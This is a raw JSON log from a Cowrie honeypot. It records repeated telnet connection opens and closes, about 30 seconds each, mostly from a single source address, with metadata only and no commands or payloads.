{"eventid":"cowrie.session.closed","duration":30.978883504867554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:32.022203Z","src_ip":"69.162.99.242","session":"c53f1022ffbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":36658,"dst_ip":"159.203.135.109","dst_port":23,"session":"9316470d3c4f","protocol":"telnet","message":"New connection: 69.162.99.242:36658 (159.203.135.109:23) [session: 9316470d3c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:32.258698Z"}
{"eventid":"cowrie.session.closed","duration":31.150865077972412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:32.367474Z","src_ip":"69.162.99.242","session":"1051ea49ba2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":38332,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5aad437aab3","protocol":"telnet","message":"New connection: 69.162.99.242:38332 (159.203.135.109:23) [session: d5aad437aab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:32.822328Z"}
{"eventid":"cowrie.session.closed","duration":31.771734476089478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:32.835561Z","src_ip":"69.162.99.242","session":"5c0ebca21c25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107720613479614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:33.177971Z","src_ip":"69.162.99.242","session":"bcc4b7d1bfbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107411861419678,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:33.717505Z","src_ip":"69.162.99.242","session":"c4defc7599e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112923622131348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:33.756830Z","src_ip":"69.162.99.242","session":"54616f40672d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.202029705047607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:34.024503Z","src_ip":"69.162.99.242","session":"3e98021715cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.915119171142578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:34.273374Z","src_ip":"69.162.99.242","session":"9b28d47110f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":41930,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e5dc85f05b9","protocol":"telnet","message":"New connection: 69.162.99.242:41930 (159.203.135.109:23) [session: 4e5dc85f05b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:34.395408Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":48626,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2f73cbd2c7a","protocol":"telnet","message":"New connection: 147.182.143.59:48626 (159.203.135.109:23) [session: f2f73cbd2c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:34.656874Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":42654,"dst_ip":"159.203.135.109","dst_port":23,"session":"664416c292ba","protocol":"telnet","message":"New connection: 69.162.99.242:42654 (159.203.135.109:23) [session: 664416c292ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:34.812634Z"}
{"eventid":"cowrie.session.closed","duration":10.388021469116211,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:35.054419Z","src_ip":"147.182.143.59","session":"20678777e4d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.104982614517212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:35.135609Z","src_ip":"69.162.99.242","session":"c54bf63ce1bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":44748,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cf8634ebba4","protocol":"telnet","message":"New connection: 69.162.99.242:44748 (159.203.135.109:23) [session: 1cf8634ebba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:35.742671Z"}
{"eventid":"cowrie.session.closed","duration":31.1217942237854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:36.789925Z","src_ip":"69.162.99.242","session":"6894dee14390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107520818710327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:36.968848Z","src_ip":"69.162.99.242","session":"e0672e6de2c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":48128,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a93a1275845","protocol":"telnet","message":"New connection: 69.162.99.242:48128 (159.203.135.109:23) [session: 7a93a1275845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:37.362457Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":48942,"dst_ip":"159.203.135.109","dst_port":23,"session":"2903447767b4","protocol":"telnet","message":"New connection: 69.162.99.242:48942 (159.203.135.109:23) [session: 2903447767b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:37.721940Z"}
{"eventid":"cowrie.session.closed","duration":31.100164651870728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:37.757555Z","src_ip":"69.162.99.242","session":"c655e6339f60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:38.042909Z","src_ip":"173.255.221.189","session":"2fe1b6629d77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.08674120903015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:38.550264Z","src_ip":"69.162.99.242","session":"6013ca23101d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":51194,"dst_ip":"159.203.135.109","dst_port":23,"session":"a942a3eff26a","protocol":"telnet","message":"New connection: 69.162.99.242:51194 (159.203.135.109:23) [session: a942a3eff26a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:38.734265Z"}
{"eventid":"cowrie.session.closed","duration":31.975487232208252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:38.954579Z","src_ip":"69.162.99.242","session":"dfa2de7e508f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":49562,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6a474329df6","protocol":"telnet","message":"New connection: 69.162.99.242:49562 (159.203.135.109:23) [session: b6a474329df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:38.986936Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":49996,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b4c654b0c7d","protocol":"telnet","message":"New connection: 69.162.99.242:49996 (159.203.135.109:23) [session: 2b4c654b0c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:39.227499Z"}
{"eventid":"cowrie.session.closed","duration":31.09122085571289,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:39.317770Z","src_ip":"69.162.99.242","session":"9a0b939b766c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1527202129364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:39.983090Z","src_ip":"69.162.99.242","session":"1c6eaab71382","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.097346782684326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:40.393519Z","src_ip":"69.162.99.242","session":"ea681ffeba84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10223627090454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:40.550974Z","src_ip":"69.162.99.242","session":"b13cb62b0638","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37116,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfbb92511c40","protocol":"telnet","message":"New connection: 45.58.127.90:37116 (10.17.0.5:23) [session: bfbb92511c40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:40.838162Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37328,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5dd61c3669c","protocol":"telnet","message":"New connection: 147.182.143.59:37328 (159.203.135.109:23) [session: f5dd61c3669c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:41.427030Z"}
{"eventid":"cowrie.session.closed","duration":31.3629469871521,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:41.606105Z","src_ip":"69.162.99.242","session":"dcb0f804af8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":58022,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac5402d3bfb3","protocol":"telnet","message":"New connection: 69.162.99.242:58022 (159.203.135.109:23) [session: ac5402d3bfb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:41.612265Z"}
{"eventid":"cowrie.session.closed","duration":31.09804630279541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:41.744850Z","src_ip":"69.162.99.242","session":"e389ca623da0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09481430053711,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:41.881664Z","src_ip":"69.162.99.242","session":"4d2d34a6d281","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":59802,"dst_ip":"159.203.135.109","dst_port":23,"session":"6492bd82972e","protocol":"telnet","message":"New connection: 69.162.99.242:59802 (159.203.135.109:23) [session: 6492bd82972e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:42.494651Z"}
{"eventid":"cowrie.session.closed","duration":30.77690076828003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:42.577161Z","src_ip":"69.162.99.242","session":"9be1afd32c17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.463063955307007,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:42.769400Z","src_ip":"147.182.143.59","session":"529075a6c278","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11966300010681,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:42.782453Z","src_ip":"69.162.99.242","session":"accab4e6afc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.83006477355957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:43.931718Z","src_ip":"69.162.99.242","session":"2461411a6cc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.341506481170654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:44.181999Z","src_ip":"69.162.99.242","session":"895783d393d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":36064,"dst_ip":"159.203.135.109","dst_port":23,"session":"594dc4f5d9bd","protocol":"telnet","message":"New connection: 69.162.99.242:36064 (159.203.135.109:23) [session: 594dc4f5d9bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:44.579987Z"}
{"eventid":"cowrie.session.closed","duration":16.719362258911133,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:44.591383Z","src_ip":"147.182.143.59","session":"afb15705ba9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":37520,"dst_ip":"159.203.135.109","dst_port":23,"session":"681dc132d3ea","protocol":"telnet","message":"New connection: 69.162.99.242:37520 (159.203.135.109:23) [session: 681dc132d3ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:45.290997Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":37656,"dst_ip":"159.203.135.109","dst_port":23,"session":"56b56acddae1","protocol":"telnet","message":"New connection: 69.162.99.242:37656 (159.203.135.109:23) [session: 56b56acddae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:45.358157Z"}
{"eventid":"cowrie.session.closed","duration":31.298697471618652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:45.508765Z","src_ip":"69.162.99.242","session":"a228f952b78c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37124,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3f4af7a4e70","protocol":"telnet","message":"New connection: 45.58.127.90:37124 (10.17.0.5:23) [session: d3f4af7a4e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:45.592672Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":38220,"dst_ip":"159.203.135.109","dst_port":23,"session":"7afb5d811220","protocol":"telnet","message":"New connection: 69.162.99.242:38220 (159.203.135.109:23) [session: 7afb5d811220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:45.599428Z"}
{"eventid":"cowrie.session.closed","duration":31.09939742088318,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:46.566227Z","src_ip":"69.162.99.242","session":"513ada40eaa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.133819818496704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:47.052324Z","src_ip":"69.162.99.242","session":"a41dbff46873","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.091174364089966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:47.385373Z","src_ip":"69.162.99.242","session":"abbe33d21676","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.102729320526123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:47.518338Z","src_ip":"69.162.99.242","session":"9cbf9e396aa2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":51876,"dst_ip":"159.203.135.109","dst_port":23,"session":"378eb44da48a","protocol":"telnet","message":"New connection: 147.182.143.59:51876 (159.203.135.109:23) [session: 378eb44da48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:47.656341Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":43100,"dst_ip":"159.203.135.109","dst_port":23,"session":"21332ce27841","protocol":"telnet","message":"New connection: 69.162.99.242:43100 (159.203.135.109:23) [session: 21332ce27841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:47.682014Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":36618,"dst_ip":"159.203.135.109","dst_port":23,"session":"272171aeaf63","protocol":"telnet","message":"New connection: 69.162.99.242:36618 (159.203.135.109:23) [session: 272171aeaf63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:47.875759Z"}
{"eventid":"cowrie.session.closed","duration":31.129653692245483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:48.221397Z","src_ip":"69.162.99.242","session":"65ef96566423","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43052911758423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:48.337154Z","src_ip":"69.162.99.242","session":"03aad7427ccf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21073627471924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:48.750400Z","src_ip":"69.162.99.242","session":"f80e9051ea0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19059658050537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:49.198351Z","src_ip":"69.162.99.242","session":"809c68f3de52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":48802,"dst_ip":"159.203.135.109","dst_port":23,"session":"3599029c183f","protocol":"telnet","message":"New connection: 69.162.99.242:48802 (159.203.135.109:23) [session: 3599029c183f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:49.994701Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":48804,"dst_ip":"159.203.135.109","dst_port":23,"session":"84a8cc9f15ff","protocol":"telnet","message":"New connection: 69.162.99.242:48804 (159.203.135.109:23) [session: 84a8cc9f15ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:49.999059Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":49362,"dst_ip":"159.203.135.109","dst_port":23,"session":"af71cf547a00","protocol":"telnet","message":"New connection: 69.162.99.242:49362 (159.203.135.109:23) [session: af71cf547a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:50.223145Z"}
{"eventid":"cowrie.session.closed","duration":31.095882177352905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:50.318314Z","src_ip":"69.162.99.242","session":"f045ce628e67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.106290102005005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:51.227308Z","src_ip":"69.162.99.242","session":"531199e0ea6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.093632698059082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:52.236285Z","src_ip":"69.162.99.242","session":"46b1c5b79ded","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0355384349823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:52.359444Z","src_ip":"69.162.99.242","session":"5036f4d463ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":54940,"dst_ip":"159.203.135.109","dst_port":23,"session":"be38ee00c8af","protocol":"telnet","message":"New connection: 69.162.99.242:54940 (159.203.135.109:23) [session: be38ee00c8af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:52.510068Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51394,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f8474c2223d","protocol":"telnet","message":"New connection: 45.58.127.90:51394 (10.17.0.5:23) [session: 6f8474c2223d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:52.787902Z"}
{"eventid":"cowrie.session.closed","duration":31.106531858444214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:53.315945Z","src_ip":"69.162.99.242","session":"c6830b9746f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":57930,"dst_ip":"159.203.135.109","dst_port":23,"session":"253ec7d63ac4","protocol":"telnet","message":"New connection: 69.162.99.242:57930 (159.203.135.109:23) [session: 253ec7d63ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:54.048235Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":59120,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e5578618782","protocol":"telnet","message":"New connection: 69.162.99.242:59120 (159.203.135.109:23) [session: 6e5578618782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:54.537296Z"}
{"eventid":"cowrie.session.closed","duration":31.45666265487671,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:54.671545Z","src_ip":"69.162.99.242","session":"28c562ee7723","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.945813655853271,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:55.372704Z","src_ip":"147.182.143.59","session":"f5dd61c3669c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.097774267196655,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:56.120294Z","src_ip":"69.162.99.242","session":"3119fad5e023","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":51892,"dst_ip":"159.203.135.109","dst_port":23,"session":"788eb3dd47b7","protocol":"telnet","message":"New connection: 147.182.143.59:51892 (159.203.135.109:23) [session: 788eb3dd47b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:56.669346Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":35380,"dst_ip":"159.203.135.109","dst_port":23,"session":"99f65865dcbe","protocol":"telnet","message":"New connection: 69.162.99.242:35380 (159.203.135.109:23) [session: 99f65865dcbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:56.739499Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":35706,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e01c39b6c19","protocol":"telnet","message":"New connection: 69.162.99.242:35706 (159.203.135.109:23) [session: 6e01c39b6c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:56.868743Z"}
{"eventid":"cowrie.session.closed","duration":31.098450422286987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:56.892535Z","src_ip":"69.162.99.242","session":"a145465054ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":36884,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb2375dcbbd9","protocol":"telnet","message":"New connection: 69.162.99.242:36884 (159.203.135.109:23) [session: bb2375dcbbd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:57.328557Z"}
{"eventid":"cowrie.session.closed","duration":31.12920904159546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:57.543758Z","src_ip":"69.162.99.242","session":"ef0ede486cd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.127053260803223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:58.321737Z","src_ip":"69.162.99.242","session":"29caccd2edaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8719584941864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:58.557017Z","src_ip":"69.162.99.242","session":"9bc392a4711f","protocol":"telnet"}
